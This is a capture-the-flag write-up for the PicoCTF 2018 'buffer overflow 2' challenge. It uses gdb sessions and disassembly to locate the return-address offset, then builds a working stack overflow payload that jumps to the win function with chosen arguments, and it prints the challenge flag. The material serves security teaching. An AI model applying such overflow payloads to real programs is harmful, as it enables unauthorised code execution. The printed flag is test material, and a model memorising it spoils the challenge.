Home PicoCTF 2018 Binary Exploitation 250: buffer overflow 2
Writeup
Cancel

Binary Exploitation 250: buffer overflow 2

Challenge
Alright, this time you’ll need to control some arguments. Can you get the flag from this program? You can find it in /problems/buffer-overflow-2_2_46efeb3c5734b3787811f1d377efbefa on the shell server. Source.

Solution
The hint suggests

Try using gdb to print out the stack once you write to it!

Which is useful. First attempted to find out what was necessary to overwrite the return pointer and segfault, ‘107 * a’ was just before there. Opened up gdb:

Looking at the dump of vuln, it is suggested to me that we should want to control ebp (to be 0xdeadbeefdeadcode) + the return (to be 0x080485cb)

1
2
3
4
5
6
080485cb <win>:
 ...
 804861d:       81 7d 08 ef be ad de    cmpl   $0xdeadbeef,0x8(%ebp)
 8048624:       75 1a                   jne    8048640 <win+0x75>
 8048626:       81 7d 0c de c0 ad de    cmpl   $0xdeadc0de,0xc(%ebp)
 804862d:       75 14                   jne    8048643 <win+0x78>

After much experimentation remembered how metasploit does it, by inserting the alphabet and mapping that back to points that are interesting to control.

We’ll debug this locally to start with for convenience. Touch a flag.txt and fill with a fake ‘flag’ that you’ll ‘discover’.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ python -c "print('a' * 112 + 'ABCDEFGHIJKLMNOPQRSTUVWXYZ')" > tmp
$ echo "picoCTF{fake_flag}" > flag.txt
$ gdb writeupfiles/vuln-buff-overflow-2
...
(gdb) break vuln
Breakpoint 1 at 0x804864c
(gdb) disas
Dump of assembler code for function vuln:
   0x08048646 <+0>:     push   ebp
   0x08048647 <+1>:     mov    ebp,esp
   0x08048649 <+3>:     sub    esp,0x78
=> 0x0804864c <+6>:     sub    esp,0xc
   0x0804864f <+9>:     lea    eax,[ebp-0x6c]
   0x08048652 <+12>:    push   eax
   0x08048653 <+13>:    call   0x8048430 <gets@plt>
   0x08048658 <+18>:    add    esp,0x10
   0x0804865b <+21>:    sub    esp,0xc
   0x0804865e <+24>:    lea    eax,[ebp-0x6c]
   0x08048661 <+27>:    push   eax
   0x08048662 <+28>:    call   0x8048460 <puts@plt>
   0x08048667 <+33>:    add    esp,0x10
   0x0804866a <+36>:    nop
   0x0804866b <+37>:    leave
   0x0804866c <+38>:    ret
End of assembler dump.
(gdb) break *0x0804866c
Haltepunkt 2 at 0x804866c
(gdb) continue
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaABCDEFGHIJKLMNOPQRSTUVWXYZ

Breakpoint 2, 0x0804866c in vuln ()
(gdb) disas
Dump of assembler code for function vuln:
   0x08048646 <+0>:     push   ebp
   0x08048647 <+1>:     mov    ebp,esp
   0x08048649 <+3>:     sub    esp,0x78
   0x0804864c <+6>:     sub    esp,0xc
   0x0804864f <+9>:     lea    eax,[ebp-0x6c]
   0x08048652 <+12>:    push   eax
   0x08048653 <+13>:    call   0x8048430 <gets@plt>
   0x08048658 <+18>:    add    esp,0x10
   0x0804865b <+21>:    sub    esp,0xc
   0x0804865e <+24>:    lea    eax,[ebp-0x6c]
   0x08048661 <+27>:    push   eax
   0x08048662 <+28>:    call   0x8048460 <puts@plt>
   0x08048667 <+33>:    add    esp,0x10
   0x0804866a <+36>:    nop
   0x0804866b <+37>:    leave
=> 0x0804866c <+38>:    ret
End of assembler dump.
(gdb) p/x $esp
$1 = 0xffffcbdc
(gdb) p/x *((int)$esp)
$2 = 0x44434241

We’ll return to whatever is in $esp, so we just need to overwrite ABCD with the
address we’d like to return to. We know we need to jump to win, we can find
the address via objdump or just running disas win in gdb and copying the
first byte.

1
$ python -c "print('a' * 112 + '\xcb\x85\x04\x08' + 'EFGHIJKLMNOPQRSTUVWXYZ')" > tmp

This time we know we’ll enter the win function so we can just break there:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
(gdb) break win
Haltepunkt 1 at 0x80485d1
(gdb) run < tmp
Starting program: writeupfiles/vuln-buff-overflow-2 < tmp
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaEFGHIJKLMNOPQRSTUVWXYZ

Breakpoint 1, 0x080485d1 in win ()
(gdb) disas
Dump of assembler code for function win:
   0x080485cb <+0>:     push   ebp
   0x080485cc <+1>:     mov    ebp,esp
   0x080485ce <+3>:     sub    esp,0x58
=> 0x080485d1 <+6>:     sub    esp,0x8
   0x080485d4 <+9>:     push   0x8048750
   0x080485d9 <+14>:    push   0x8048752
   0x080485de <+19>:    call   0x80484a0 <fopen@plt>
   0x080485e3 <+24>:    add    esp,0x10
   0x080485e6 <+27>:    mov    DWORD PTR [ebp-0xc],eax
   0x080485e9 <+30>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x080485ed <+34>:    jne    0x8048609 <win+62>
   0x080485ef <+36>:    sub    esp,0xc
   0x080485f2 <+39>:    push   0x804875c
   0x080485f7 <+44>:    call   0x8048460 <puts@plt>
   0x080485fc <+49>:    add    esp,0x10
   0x080485ff <+52>:    sub    esp,0xc
   0x08048602 <+55>:    push   0x0
   0x08048604 <+57>:    call   0x8048470 <exit@plt>
   0x08048609 <+62>:    sub    esp,0x4
   0x0804860c <+65>:    push   DWORD PTR [ebp-0xc]
   0x0804860f <+68>:    push   0x40
   0x08048611 <+70>:    lea    eax,[ebp-0x4c]
   0x08048614 <+73>:    push   eax
   0x08048615 <+74>:    call   0x8048440 <fgets@plt>
   0x0804861a <+79>:    add    esp,0x10
   0x0804861d <+82>:    cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x08048624 <+89>:    jne    0x8048640 <win+117>
   0x08048626 <+91>:    cmp    DWORD PTR [ebp+0xc],0xdeadc0de
   0x0804862d <+98>:    jne    0x8048643 <win+120>
   0x0804862f <+100>:   sub    esp,0xc
   0x08048632 <+103>:   lea    eax,[ebp-0x4c]
   0x08048635 <+106>:   push   eax
   0x08048636 <+107>:   call   0x8048420 <printf@plt>
   0x0804863b <+112>:   add    esp,0x10
   0x0804863e <+115>:   jmp    0x8048644 <win+121>
   0x08048640 <+117>:   nop
   0x08048641 <+118>:   jmp    0x8048644 <win+121>
   0x08048643 <+120>:   nop
   0x08048644 <+121>:   leave
   0x08048645 <+122>:   ret
End of assembler dump.

Let’s break right before the comparisons happen just in case ebp is modified anywhere.

1
2
3
4
5
6
(gdb) break *0x0804861a
Haltepunkt 2 at 0x804861a
(gdb) continue
Continuing.

Breakpoint 2, 0x0804861a in win ()

And looking into those we see:

1
2
3
4
(gdb) p/x *((int)$ebp + 0x8)
$1 = 0x4c4b4a49  # LKJI
(gdb) p/x *((int)$ebp + 0xc)
$2 = 0x504f4e4d  # PONM

So we’ll just overwrite those now:

1
2
3
4
5
6
$ python -c "print('a' * 112 + '\xcb\x85\x04\x08' + 'EFGH' + '\xef\xbe\xad\xde\xde\xc0\xad\xde')" | ./writeupfiles/vuln-buff-overflow-2
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaᆳ
picoCTF{test flag}
[1]    12928 done                              python -c  |
       12929 segmentation fault (core dumped)  ./writeupfiles/vuln-buff-overflow-2

So that works perfectly

1
2
3
4
$ python -c "print('a' * 112 + '\xcb\x85\x04\x08' + 'EFGH' + '\xef\xbe\xad\xde\xde\xc0\xad\xde')" | ./vuln
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaᆳ
picoCTF{addr3ss3s_ar3_3asy1b78b0d8}  Segmentation fault (core dumped)

Which is just what we wanted

Flag

picoCTF{addr3ss3s_ar3_3asy1b78b0d8}